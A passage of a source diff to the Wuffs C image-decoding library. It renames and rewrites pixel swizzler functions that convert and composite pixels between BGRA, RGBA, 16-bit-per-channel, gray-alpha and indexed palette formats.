if (dst_palette_len != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return 0; +- } +- size_t dst_len8 = dst_len / 8; +- size_t len = (dst_len8 < src_len) ? dst_len8 : src_len; ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + + while (n >= 1) { +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[0] * 4)); +- if (s0) { +- wuffs_base__poke_u64le__no_bounds_check( +- d + (0 * 8), wuffs_base__color_u32__as__color_u64(s0)); +- } ++ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); ++ uint32_t s0 = wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_private_impl__composite_nonpremul_nonpremul_u32_axxx(d0, s0)); + +- s += 1 * 1; +- d += 1 * 8; ++ s += 1 * 4; ++ d += 1 * 4; + n -= 1; + } + +@@ -23558,24 +24687,29 @@ wuffs_base__pixel_swizzler__xxxxxxxx__index_binary_alpha__src_over( + } + + static uint64_t // +-wuffs_base__pixel_swizzler__xxxxxxxx__y(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len8 = dst_len / 8; +- size_t len = (dst_len8 < src_len) ? dst_len8 : src_len; ++wuffs_private_impl__swizzle_bgra_nonpremul__rgba_premul__src( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + + while (n >= 1) { +- wuffs_base__poke_u64le__no_bounds_check( +- d + (0 * 8), 0xFFFF000000000000 | (0x010101010101 * (uint64_t)s[0])); ++ uint32_t s0 = wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul(s0)); + +- s += 1 * 1; +- d += 1 * 8; ++ s += 1 * 4; ++ d += 1 * 4; + n -= 1; + } + +@@ -23583,53 +24717,59 @@ wuffs_base__pixel_swizzler__xxxxxxxx__y(uint8_t* dst_ptr, + } + + static uint64_t // +-wuffs_base__pixel_swizzler__xxxxxxxx__y_16be(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len8 = dst_len / 8; +- size_t src_len2 = src_len / 2; +- size_t len = (dst_len8 < src_len2) ? dst_len8 : src_len2; ++wuffs_private_impl__swizzle_bgra_nonpremul__rgba_premul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + + while (n >= 1) { +- uint64_t s0 = +- ((uint64_t)(wuffs_base__peek_u16be__no_bounds_check(s + (0 * 2)))); +- wuffs_base__poke_u64le__no_bounds_check( +- d + (0 * 8), 0xFFFF000000000000 | (0x000100010001 * s0)); ++ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); ++ uint32_t s0 = wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_private_impl__composite_nonpremul_premul_u32_axxx(d0, s0)); + +- s += 1 * 2; +- d += 1 * 8; ++ s += 1 * 4; ++ d += 1 * 4; + n -= 1; + } + + return len; + } + +-// -------- +- + static uint64_t // +-wuffs_base__pixel_swizzler__y__y_16be(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { ++wuffs_private_impl__swizzle_bgra_nonpremul__ya_nonpremul__src( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; + size_t src_len2 = src_len / 2; +- size_t len = (dst_len < src_len2) ? dst_len : src_len2; ++ size_t len = (dst_len4 < src_len2) ? dst_len4 : src_len2; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + ++ // TODO: unroll. ++ + while (n >= 1) { +- d[0] = s[0]; ++ uint32_t s0 = ((uint32_t)(s[1]) << 24) | ((uint32_t)(s[0]) * 0x010101); ++ wuffs_base__poke_u32le__no_bounds_check(d + (0 * 4), s0); + + s += 1 * 2; +- d += 1 * 1; ++ d += 1 * 4; + n -= 1; + } + +@@ -23637,27 +24777,31 @@ wuffs_base__pixel_swizzler__y__y_16be(uint8_t* dst_ptr, + } + + static uint64_t // +-wuffs_base__pixel_swizzler__y_16le__y_16be(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len2 = dst_len / 2; ++wuffs_private_impl__swizzle_bgra_nonpremul__ya_nonpremul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; + size_t src_len2 = src_len / 2; +- size_t len = (dst_len2 < src_len2) ? dst_len2 : src_len2; ++ size_t len = (dst_len4 < src_len2) ? dst_len4 : src_len2; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + ++ // TODO: unroll. ++ + while (n >= 1) { +- uint8_t s0 = s[0]; +- uint8_t s1 = s[1]; +- d[0] = s1; +- d[1] = s0; ++ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); ++ uint32_t s0 = ((uint32_t)(s[1]) << 24) | ((uint32_t)(s[0]) * 0x010101); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_private_impl__composite_nonpremul_nonpremul_u32_axxx(d0, s0)); + + s += 1 * 2; +- d += 1 * 2; ++ d += 1 * 4; + n -= 1; + } + +@@ -23667,6862 +24811,6000 @@ wuffs_base__pixel_swizzler__y_16le__y_16be(uint8_t* dst_ptr, + // -------- + + static uint64_t // +-wuffs_base__pixel_swizzler__transparent_black_src( ++wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__bgra_nonpremul__src( + uint8_t* dst_ptr, + size_t dst_len, + uint8_t* dst_palette_ptr, + size_t dst_palette_len, +- uint64_t num_pixels, +- uint32_t dst_pixfmt_bytes_per_pixel) { +- uint64_t n = ((uint64_t)dst_len) / dst_pixfmt_bytes_per_pixel; +- if (n > num_pixels) { +- n = num_pixels; ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ ++ size_t n = len; ++ while (n >= 1) { ++ uint8_t s0 = s[0]; ++ uint8_t s1 = s[1]; ++ uint8_t s2 = s[2]; ++ uint8_t s3 = s[3]; ++ d[0] = s0; ++ d[1] = s0; ++ d[2] = s1; ++ d[3] = s1; ++ d[4] = s2; ++ d[5] = s2; ++ d[6] = s3; ++ d[7] = s3; ++ ++ s += 1 * 4; ++ d += 1 * 8; ++ n -= 1; + } +- memset(dst_ptr, 0, ((size_t)(n * dst_pixfmt_bytes_per_pixel))); +- return n; ++ return len; + } + + static uint64_t // +-wuffs_base__pixel_swizzler__transparent_black_src_over( ++wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__bgra_nonpremul__src_over( + uint8_t* dst_ptr, + size_t dst_len, + uint8_t* dst_palette_ptr, + size_t dst_palette_len, +- uint64_t num_pixels, +- uint32_t dst_pixfmt_bytes_per_pixel) { +- uint64_t n = ((uint64_t)dst_len) / dst_pixfmt_bytes_per_pixel; +- if (n > num_pixels) { +- n = num_pixels; ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ ++ size_t n = len; ++ while (n >= 1) { ++ uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); ++ uint64_t s0 = wuffs_base__color_u32__as__color_u64( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); ++ wuffs_base__poke_u64le__no_bounds_check( ++ d + (0 * 8), ++ wuffs_private_impl__composite_nonpremul_nonpremul_u64_axxx(d0, s0)); ++ ++ s += 1 * 4; ++ d += 1 * 8; ++ n -= 1; + } +- return n; ++ return len; + } + +-// -------- ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__bgra_nonpremul_4x16le__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t src_len8 = src_len / 8; ++ size_t len = (dst_len8 < src_len8) ? dst_len8 : src_len8; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; + +-static wuffs_base__pixel_swizzler__func // +-wuffs_base__pixel_swizzler__prepare__y(wuffs_base__pixel_swizzler* p, +- wuffs_base__pixel_format dst_pixfmt, +- wuffs_base__slice_u8 dst_palette, +- wuffs_base__slice_u8 src_palette, +- wuffs_base__pixel_blend blend) { +- switch (dst_pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__Y: +- return wuffs_base__pixel_swizzler__copy_1_1; ++ size_t n = len; ++ while (n >= 1) { ++ uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); ++ uint64_t s0 = wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)); ++ wuffs_base__poke_u64le__no_bounds_check( ++ d + (0 * 8), ++ wuffs_private_impl__composite_nonpremul_nonpremul_u64_axxx(d0, s0)); + +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- return wuffs_base__pixel_swizzler__bgr_565__y; ++ s += 1 * 8; ++ d += 1 * 8; ++ n -= 1; ++ } ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- return wuffs_base__pixel_swizzler__xxx__y; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__bgra_premul__src( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__BGRX: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__RGBX: +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- if (wuffs_base__cpu_arch__have_x86_sse42()) { +- return wuffs_base__pixel_swizzler__xxxx__y__x86_sse42; +- } +-#endif +- return wuffs_base__pixel_swizzler__xxxx__y; ++ size_t n = len; ++ while (n >= 1) { ++ uint64_t s0 = wuffs_base__color_u32__as__color_u64( ++ wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))); ++ wuffs_base__poke_u64le__no_bounds_check(d + (0 * 8), s0); + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL_4X16LE: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL_4X16LE: +- return wuffs_base__pixel_swizzler__xxxxxxxx__y; ++ s += 1 * 4; ++ d += 1 * 8; ++ n -= 1; + } +- return NULL; ++ return len; + } + +-static wuffs_base__pixel_swizzler__func // +-wuffs_base__pixel_swizzler__prepare__y_16be(wuffs_base__pixel_swizzler* p, +- wuffs_base__pixel_format dst_pixfmt, +- wuffs_base__slice_u8 dst_palette, +- wuffs_base__slice_u8 src_palette, +- wuffs_base__pixel_blend blend) { +- switch (dst_pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__Y: +- return wuffs_base__pixel_swizzler__y__y_16be; +- +- case WUFFS_BASE__PIXEL_FORMAT__Y_16LE: +- return wuffs_base__pixel_swizzler__y_16le__y_16be; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__bgra_premul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; + +- case WUFFS_BASE__PIXEL_FORMAT__Y_16BE: +- return wuffs_base__pixel_swizzler__copy_2_2; ++ size_t n = len; ++ while (n >= 1) { ++ uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); ++ uint64_t s0 = wuffs_base__color_u32__as__color_u64( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); ++ wuffs_base__poke_u64le__no_bounds_check( ++ d + (0 * 8), ++ wuffs_private_impl__composite_nonpremul_premul_u64_axxx(d0, s0)); + +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- return wuffs_base__pixel_swizzler__bgr_565__y_16be; ++ s += 1 * 4; ++ d += 1 * 8; ++ n -= 1; ++ } ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- return wuffs_base__pixel_swizzler__xxx__y_16be; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__index_bgra_nonpremul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ if (dst_palette_len != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return 0; ++ } ++ size_t dst_len8 = dst_len / 8; ++ size_t len = (dst_len8 < src_len) ? dst_len8 : src_len; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__BGRX: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__RGBX: +- return wuffs_base__pixel_swizzler__xxxx__y_16be; ++ while (n >= 1) { ++ uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); ++ uint64_t s0 = wuffs_base__color_u32__as__color_u64( ++ wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[0] * 4))); ++ wuffs_base__poke_u64le__no_bounds_check( ++ d + (0 * 8), ++ wuffs_private_impl__composite_nonpremul_nonpremul_u64_axxx(d0, s0)); + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL_4X16LE: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL_4X16LE: +- return wuffs_base__pixel_swizzler__xxxxxxxx__y_16be; ++ s += 1 * 1; ++ d += 1 * 8; ++ n -= 1; + } +- return NULL; +-} + +-static wuffs_base__pixel_swizzler__func // +-wuffs_base__pixel_swizzler__prepare__indexed__bgra_nonpremul( +- wuffs_base__pixel_swizzler* p, +- wuffs_base__pixel_format dst_pixfmt, +- wuffs_base__slice_u8 dst_palette, +- wuffs_base__slice_u8 src_palette, +- wuffs_base__pixel_blend blend) { +- switch (dst_pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: +- if (wuffs_base__slice_u8__copy_from_slice(dst_palette, src_palette) != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return NULL; +- } +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__copy_1_1; +- } +- return NULL; ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- if (wuffs_base__pixel_swizzler__squash_align4_bgr_565_8888( +- dst_palette.ptr, dst_palette.len, src_palette.ptr, +- src_palette.len, true) != +- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { +- return NULL; +- } +- return wuffs_base__pixel_swizzler__bgr_565__index__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- if (wuffs_base__slice_u8__copy_from_slice(dst_palette, src_palette) != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return NULL; +- } +- return wuffs_base__pixel_swizzler__bgr_565__index_bgra_nonpremul__src_over; +- } +- return NULL; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__rgba_nonpremul__src( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; + +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- if (wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src( +- dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, +- src_palette.len) != +- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { +- return NULL; +- } +- return wuffs_base__pixel_swizzler__xxx__index__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- if (wuffs_base__slice_u8__copy_from_slice(dst_palette, src_palette) != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return NULL; +- } +- return wuffs_base__pixel_swizzler__xxx__index_bgra_nonpremul__src_over; +- } +- return NULL; ++ size_t n = len; ++ while (n >= 1) { ++ uint8_t s0 = s[0]; ++ uint8_t s1 = s[1]; ++ uint8_t s2 = s[2]; ++ uint8_t s3 = s[3]; ++ d[0] = s2; ++ d[1] = s2; ++ d[2] = s1; ++ d[3] = s1; ++ d[4] = s0; ++ d[5] = s0; ++ d[6] = s3; ++ d[7] = s3; + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- if (wuffs_base__slice_u8__copy_from_slice(dst_palette, src_palette) != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return NULL; +- } +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__xxxx__index__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul__index_bgra_nonpremul__src_over; +- } +- return NULL; +- +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- if (wuffs_base__slice_u8__copy_from_slice(dst_palette, src_palette) != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return NULL; +- } +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__xxxxxxxx__index__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__index_bgra_nonpremul__src_over; +- } +- return NULL; +- +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- if (wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src( +- dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, +- src_palette.len) != +- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { +- return NULL; +- } +- return wuffs_base__pixel_swizzler__xxxx__index__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- if (wuffs_base__slice_u8__copy_from_slice(dst_palette, src_palette) != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return NULL; +- } +- return wuffs_base__pixel_swizzler__bgra_premul__index_bgra_nonpremul__src_over; +- } +- return NULL; +- +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- if (wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src( +- dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, +- src_palette.len) != +- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { +- return NULL; +- } +- return wuffs_base__pixel_swizzler__xxx__index__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- if (wuffs_base__pixel_swizzler__swap_rgbx_bgrx( +- dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, +- src_palette.len) != +- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { +- return NULL; +- } +- return wuffs_base__pixel_swizzler__xxx__index_bgra_nonpremul__src_over; +- } +- return NULL; ++ s += 1 * 4; ++ d += 1 * 8; ++ n -= 1; ++ } ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- if (wuffs_base__pixel_swizzler__swap_rgbx_bgrx( +- dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, +- src_palette.len) != +- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { +- return NULL; +- } +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__xxxx__index__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul__index_bgra_nonpremul__src_over; +- } +- return NULL; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__rgba_nonpremul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- if (wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src( +- dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, +- src_palette.len) != +- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { +- return NULL; +- } +- return wuffs_base__pixel_swizzler__xxxx__index__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- if (wuffs_base__pixel_swizzler__swap_rgbx_bgrx( +- dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, +- src_palette.len) != +- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { +- return NULL; +- } +- return wuffs_base__pixel_swizzler__bgra_premul__index_bgra_nonpremul__src_over; +- } +- return NULL; ++ size_t n = len; ++ while (n >= 1) { ++ uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); ++ uint64_t s0 = wuffs_base__color_u32__as__color_u64( ++ wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))); ++ wuffs_base__poke_u64le__no_bounds_check( ++ d + (0 * 8), ++ wuffs_private_impl__composite_nonpremul_nonpremul_u64_axxx(d0, s0)); + +- case WUFFS_BASE__PIXEL_FORMAT__RGBX: +- // TODO. +- break; ++ s += 1 * 4; ++ d += 1 * 8; ++ n -= 1; + } +- return NULL; ++ return len; + } + +-static wuffs_base__pixel_swizzler__func // +-wuffs_base__pixel_swizzler__prepare__indexed__bgra_binary( +- wuffs_base__pixel_swizzler* p, +- wuffs_base__pixel_format dst_pixfmt, +- wuffs_base__slice_u8 dst_palette, +- wuffs_base__slice_u8 src_palette, +- wuffs_base__pixel_blend blend) { +- switch (dst_pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: +- if (wuffs_base__slice_u8__copy_from_slice(dst_palette, src_palette) != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return NULL; +- } +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__copy_1_1; +- } +- return NULL; +- +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- if (wuffs_base__pixel_swizzler__squash_align4_bgr_565_8888( +- dst_palette.ptr, dst_palette.len, src_palette.ptr, +- src_palette.len, false) != +- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { +- return NULL; +- } +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgr_565__index__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgr_565__index_binary_alpha__src_over; +- } +- return NULL; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__rgba_premul__src( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; + +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- if (wuffs_base__slice_u8__copy_from_slice(dst_palette, src_palette) != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return NULL; +- } +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__xxx__index__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__xxx__index_binary_alpha__src_over; +- } +- return NULL; ++ size_t n = len; ++ while (n >= 1) { ++ uint64_t s0 = wuffs_base__color_u32__as__color_u64( ++ wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( ++ wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))))); 